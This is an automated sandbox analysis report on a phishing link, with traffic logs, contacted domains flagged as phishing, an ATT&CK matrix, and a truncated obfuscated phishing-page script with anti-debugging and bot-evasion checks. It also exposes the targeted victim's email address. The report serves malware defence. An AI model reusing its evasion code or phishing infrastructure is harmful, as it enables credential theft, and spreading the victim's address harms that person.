Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal52.win@24/99@64/15

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,2470420445824453129,4138290871837381723,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ=="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,2470420445824453129,4138290871837381723,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://bur.tabilicit.ru/favicon.ico	100%	Avira URL Cloud	phishing
https://hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru/9298868286056926937588463tlEmiGWfQZUSAOXXRMJCPEKGPDRWWMJLCSMZXLWIHLOVPCGCHROCWY	0%	Avira URL Cloud	safe
https://bur.tabilicit.ru/HgSlh/	100%	Avira URL Cloud	phishing
http://unikuesolutions.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru	104.21.6.222	true	false	high
sni1gl.wpc.alphacdn.net	152.199.21.175	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
code.jquery.com	151.101.194.137	true	false	high
inbound-weighted.protechts.net	35.190.10.96	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	172.217.18.4	true	false	high
unikuesolutions.com	103.83.194.55	true	false	high
stk.hsprotect.net	34.107.199.61	true	false	high
bur.tabilicit.ru	188.114.97.3	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.office.com	unknown	unknown	false	high
signup.live.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
collector-pxzc5j78di.hsprotect.net	unknown	unknown	false	high
logincdn.msftauth.net	unknown	unknown	false	high
client.hsprotect.net	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
msft.hsprotect.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
fpt.live.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://logincdn.msftauth.net/shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/9000b10cedac7ca5/1736554310302/ptvNCVsTR_Rh4zI	false		high
https://a.nel.cloudflare.com/report/v4?s=L%2FaRlf62X74v9lF0OkU%2BPVcHxn6KEH1O8aIcTT49HGoHewrL02OLFRw1W1gsccQte1N0fxVoFV5cIwAuLV62CBcovMS8tFfVkp8BQ1KhSc2d1YM04xkjmY%2FsxNk5jg%3D%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/	false		high
http://unikuesolutions.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru/9298868286056926937588463tlEmiGWfQZUSAOXXRMJCPEKGPDRWWMJLCSMZXLWIHLOVPCGCHROCWY	false	Avira URL Cloud: safe	unknown
https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacorp.com	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9000b10cedac7ca5&lang=auto	false		high
https://logincdn.msftauth.net/shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg	false		high
https://collector-pxzc5j78di.hsprotect.net/api/v2/msft	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u	false		high
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/9000b10cedac7ca5/1736554310301/44fe8c38daed3b972ad9e29daba44355e592fed3f472668db9c0932367eb0b10/DMb4L7jWqBqxwiv	false		high
https://stk.hsprotect.net/ns?c=ec8fb750-cfb0-11ef-abf3-b915b54bbe61	false		high
https://logincdn.msftauth.net/shared/5/images/2_bc3d32a696895f78c19d.svg	false		high
https://bur.tabilicit.ru/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://logincdn.msftauth.net/shared/5/js/signup-fabric_en_RLki-zAPnyCeesn3sU68Xw2.js	false		high
https://bur.tabilicit.ru/HgSlh/	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://client.hsprotect.net/PXzC5j78di/main.min.js	chromecache_140.1.dr	false	high
https://login.windows-ppe.net	chromecache_108.1.dr, chromecache_96.1.dr	false	high
https://fpt.live.com/	chromecache_122.1.dr	false	high
https://login.microsoftonline.com	chromecache_108.1.dr, chromecache_96.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.190.10.96	inbound-weighted.protechts.net	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.6.222	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
34.107.199.61	stk.hsprotect.net	United States	15169	GOOGLEUS	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
103.83.194.55	unikuesolutions.com	United States	132335	NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	bur.tabilicit.ru	European Union	13335	CLOUDFLARENETUS	false
152.199.21.175	sni1gl.wpc.alphacdn.net	United States	15133	EDGECASTUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588511
Start date and time:	2025-01-11 01:11:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.win@24/99@64/15

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 142.250.186.67, 142.250.186.174, 74.125.206.84, 142.250.184.206, 142.250.185.238, 142.250.185.142, 216.58.206.78, 142.250.186.46, 142.250.186.78, 142.250.184.238, 142.250.181.238, 142.250.185.99, 142.250.185.206, 216.58.206.46, 20.190.159.75, 20.190.159.73, 20.190.159.0, 20.190.159.68, 20.190.159.64, 40.126.31.67, 40.126.31.69, 40.126.31.73, 13.107.6.156, 2.16.168.12, 2.16.168.7, 20.190.160.14, 40.126.32.74, 20.190.160.17, 40.126.32.72, 40.126.32.136, 40.126.32.133, 40.126.32.138, 20.190.160.22, 20.190.159.4, 20.190.159.23, 20.190.159.71, 216.58.206.42, 142.250.186.170, 216.58.206.74, 142.250.185.234, 216.58.212.170, 142.250.185.202, 142.250.181.234, 142.250.184.202, 142.250.186.42, 142.250.186.106, 142.250.186.74, 142.250.184.234, 142.250.185.170, 142.250.74.202, 142.250.185.74, 142.250.185.138, 13.69.239.72, 20.50.201.201, 40.126.32.68, 40.126.32.76, 20.190.160.20, 40.126.32.140, 13.107.42.22, 52.167.30.171, 2.23.209.54, 2.23.209.55, 142.250.186.138
Excluded domains from analysis (whitelisted): greenid-prod-pme.eastus2.cloudapp.azure.com, lgincdnmsftuswe2.azureedge.net, pme-greenid-prod.trafficmanager.net, slscr.update.microsoft.com, clientservices.googleapis.com, ak.privatelink.msidentity.com, clients2.google.com, login.live.com, star-azurefd-prod.trafficmanager.net, update.googleapis.com, onedscolprdneu00.northeurope.cloudapp.azure.com, fs.microsoft.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, lgincdnvzeuno.ec.azureedge.net, aadcdn.msauth.net, eu.events.data.trafficmanager.net, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, e177902.dscd.akamaiedge.net, aadcdnoriginwus2.afd.azureedge.net, account.msa.msidentity.com, clients.l.google.com, fpt.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net, eu-mobile.events.data.microsoft.com, logincdn.msauth.net, onedscolprdweu07.westeurope.cloudapp.azure.com, home-office365-com.b-0004.b-msedge.net, a1894.dscb.akamai.net, redirector.gvt1.com, l
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==

Input	Output
URL: http://unikuesolutions.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: http://unikuesolutions.com
URL: https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacor... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution." }
if(atob("aHR0cHM6Ly9idVIudGFiaWxpY2l0LnJ1L0hnU2xoLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNoSGNVUktWS0RXIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI2hIY1VSS1ZLRFcgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2hIY1VSS1ZLRFcgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojaEhjVVJLVktEVyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2hIY1VSS1ZLRFcuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMzZweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI2hIY1VSS1ZLRFcgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNoSGNVUktWS0RXIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojaEhjVVJLVktEVyAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNoSGNVUktWS0RXIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNoSGNVUktWS0RXIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojaEhjVVJLVktEVyAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojaEhjVVJLVktEVy5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI2hIY1VSS1ZLRFcgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNoSGNVUktWS0RXICN1UVdQWUNDbEtyIHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5r